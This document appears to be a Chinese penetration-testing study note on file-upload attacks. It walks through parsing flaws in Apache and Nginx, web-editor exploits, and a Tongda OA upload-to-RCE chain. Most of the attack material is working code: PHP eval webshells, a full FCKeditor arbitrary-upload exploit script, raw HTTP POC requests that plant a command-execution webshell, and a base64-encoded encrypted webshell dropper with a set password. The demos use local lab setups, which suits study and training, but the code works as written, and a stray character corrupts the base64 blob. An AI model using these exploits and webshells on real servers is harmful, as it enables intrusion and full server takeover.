**前言:**先判断中间件,是否有解析漏洞,字典扫描拿到上传点,或者会员中心,有可能存在文件上传的地方,而后测试绕过/验证,根据实际情况判断是白名单、黑名单还是内容其他的绕过,绕过/验证和中间件的解析漏洞也不行的话就看看CMS是否存在漏洞,然后看看编辑器漏洞有无以及其他漏洞如CVE漏洞。

202202280942830

涉及知识

各个平台解析漏洞讲解

📎web中间件常见漏洞总结.pdf

IIS,Apache,Nginx

主流web服务器:Apache、IIS、Nginx

Apache

Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展,将Perl/Python等解释器编译到服务器中。Apache源于NCSAhttpd服务器,经过多次修改,成为世界上最流行的Web服务器软件之一。

IIS

IIS(Internet Information Services) 是一个支持HTTP和FTP发布服务的Web服务器。它是由微软开发的web服务器,需要收费,主要用来跑asp.net asp php,只能在windows下运行

Nginx

Nginx是lgor Sysoev为俄罗斯访问量第二的rambler.ru站点设计开发的。从2004年发布至今,凭借开源的力量,已经接近成熟与完善。

Nginx功能丰富,可作为HTTP服务器,也可作为反向代理服务器,邮件服务器。支持FastCGI、SSL、Virtual Host、URL Rewrite、Gzip等功能。并且支持很多第三方的模块扩展。

目前apache和nginx好像还没有看到像IIS一样的可视化配置。在windows和linux上,apache和nginx 都是以编辑配置文件的形式来配置。

各个 WEB 编辑器安全讲解

网站后台里面有操作添加文字等类似功能的时候,有些网站会套用第三方的编辑器去对文章、图片、音频等进行相关处理。如果一个网站里面有编辑器的话,那么这个编辑器是什么类型,有没有漏洞,也会成为我们利用的条件

一些网站也可通过扫描获得编辑器信息,在其它地方不能突破时可以利用编辑器的漏洞进行getsell,可以在网上搜索相关编辑器漏洞利用即可。

大部分的编辑器漏洞都是文件上传漏洞,或者归类于第三方软件漏洞。这里和文件上传配合使用,归类为文件上传漏洞一类

WEB 编辑器漏洞手册

WEB编辑器漏洞手册

有的网站中可能嵌入第三方web编辑软件比如:fckeditor、ewebeditor、ckeditor、kineditor等。

一些网站也可通过扫描获得编辑器信息,在其它地方不能突破时可以利用编辑器的漏洞进行getsell,可以在网上搜索相关编辑器漏洞利用即可

各个 CMS 文件上传简要讲解

wordpress,phpcms

WordPress:https://baike.baidu.com/item/WordPress/450615?fr=aladdin

phpcms:https://baike.baidu.com/item/phpcms/1997053?fr=aladdin

演示案例

几种中间件解析漏洞简要演示

参考中间件解析漏洞PDF

IIS6/7解析漏洞简要说明——本地搭建

搭建教程:本地搭建iis服务器

Apache配置安全——vulhub

Apache解析漏洞——低版本

漏洞

在低版本的apache中,若文件后缀x.php.xxx.yyy,在服务器先识别.yyy后缀,发现不识别,就向前解析,直到识别为止,最终识别解析为php文件

利用场景

若探测到服务器中间件Apache为较低版本的话,我们利用文件上传,上传一个不被识别的文件后缀,利用解漏洞规则成功解析该文件,文件中的后门代码就会被触发。

漏洞复现

准备两个后门文件,一个正常php后缀,一个php.xxx后缀。假设二者已经绕过文件上传的过滤机制成功上传,进行访问

202202282053783

202202282053211

成功解析shell.php.xxx:

202202282053970

Apache HTTPD 换行解析漏洞(CVE-2017-15715)——vulhub

漏洞

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

漏洞复现

启动漏洞环境

202203011023294

202203011025297

准备shell.php文件

1
2
3
4
<?php 
@eval($_POST['shell']);
phpinfo();
?>

上传一个名为shell.php的文件,POST提交参数name值为evil.php,被拦截:

202203011027731

在上述POST提交的文件名evil.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A,可使用十六进制数据格式修改添加),不再拦截:

202203011029808

访问刚才上传的IP:8080/evil.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

202203011032726

Nginx 文件名逻辑漏洞(CVE-2013-4547) ——vulhub

漏洞

影响版本: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:

1
2
3
4
5
6
7
8
location ~ \.php$ {
include fastcgi_params;

fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}

正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。

而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。

fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。

所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。

再举个例子,比如很多网站限制了允许访问后台的IP:

1
2
3
4
location /admin/ {
allow 127.0.0.1;
deny all;
}

我们可以请求如下URI:/test[0x20]/../admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/../admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫“test ”:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

漏洞复现

环境启动后,访问http://your-ip:8080/即可看到一个上传页面。

202203011044004

这个环境是黑名单验证,我们无法上传php后缀的文件

202203011046004

需要利用CVE-2013-4547。我们上传一个“webshell.jpg ”的图片马,注意后面的空格:

202203011049895

访问http://your-ip:8080/uploadfiles/webshell.jpg.php, 并抓包, 修改为webshell.jpg…php, 在Hex选修卡中将jpg后面的两个点2e改成20,00,点击Go,如下。

==/////////////////////////////////////==

访问http://your-ip:8080/uploadfiles/webshell.jpg[0x20][0x00].php,即可发现PHP已被解析:

注意,[0x20]是空格,[0x00]是\0,这两个字符都不需要编码。

Nginx解析漏洞 ——vulhub

见上一节

几种常见web编辑器简要演示

FCKeditor exp利用

fckeditor的构件组成如下图所示

202203011654623

但在实际情况下web编辑器是这样的

202203011654496

EXP源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

现成exp利用方法

将该EXP命名为fck.php,将该文件拖到PHP的安装目录

202203011654917

在该目录打开cmd,或者创建当前会话cmd.bat打开

202203011655137

利用PHP的EXP进行执行

202203011655548

202203011655964

202203011655464

利用该exp进行自动文件上传成功,提示尝试访问的地址如下所示

!202203011655406

该地址下出现了上传的包含后门代码的脚本,即成功上传后门

202203011659985

如何判定对方使用fckeditor编辑器

  1. 使用工具进行目录扫描发现

  2. inurl进行搜索,搜出使用该编译器的网站

img img

202203011655949

ueditor 漏洞利用

https://zhuanlan.zhihu.com/p/85265552

CMS 文件上传简要演示——通达 OA 系统

下载后安装,启动该系统

202203011710419

默认用户admin密码为空。

一般情况下,右键鼠标打开源码,可以查看目标使用的是什么OA系统

202203011711888

任意命令执行漏洞

路径为:ispirit/im/upload.php

抓包构造POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /ispirit/im/upload.php HTTP/1.1
Host: localhost:999
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 660
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

发送POC:

202203011918952

查看上传成功的文件:

202203011918180

前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,即可实现执行任意命令。此处执行命令“net user”

1
2
3
4
5
6
7
8
9
10
11
12
POST /ispirit/interface/gateway.php HTTP/1.1
Host: localhost:999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
json={"url":"/general/../../attach/im/2108/1005943624.jpg"}&cmd=net user

202203011918191

执行命令“ipconfig”:

202203011918125

2.getshell

前台任意文件上传漏洞:抓取任意数据包,修改数据包进行重放,上传后缀为jpg的木马文件(木马文件执行写入文件操作)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 1398
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$fp = fopen('shell.php', 'w');
$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC ÿ
4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);
fclose($fp);
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

202203011919924

查看生成的图片:

202203011919011

前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,会在/webroot/ispirit/interface/目录下生成一个 shell.php 文件。

成功执行:

202203011919588

查看/webroot/ispirit/interface/目录生成的shell文件:

202203011919878

用冰蝎连接,/ispirit/interface/shell.php用冰蝎连接,http://localhost:999/ispirit/interface/shell.php

密码为:pass

202203011919271

漏洞分析

该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。

附:

https://www.cnblogs.com/twlr/p/12989951.html

通达OA系统傻逼上传漏洞分析,可以直接getshell附EXP

注意引号问题

202203011919697

文件上传漏洞的渗透思路——即本章思维导图

  • 上传点:当我们拿到一个网站可通过扫描或手动查找是否有文件上传的地方,比如会员中心等地方,进行上传及绕过过滤验证

  • 中间件解析漏洞:也可通过数据包或指纹识别是何种中间件,如是低版本可以利用一些解析漏洞上传文件,进行黑白名单绕过测试。

  • CMS:再者知道是何种CMS的话可以利用CMS的漏洞。

  • 编辑器:一些网站使用第三方的编辑器,可以寻找编辑器的漏洞进行突破。

  • CVE:再者也可以找一些CVE编号漏洞进行利用。

涉及资源

编辑器漏洞手册

https://www.jb51.net/softs/75619.html

📎web中间件常见漏洞总结.pdf

链接:https://pan.baidu.com/s/1eLjH_88fhXAw3ZwE7kVRbA 提取码:ywek

站内搜索

没有找到内容!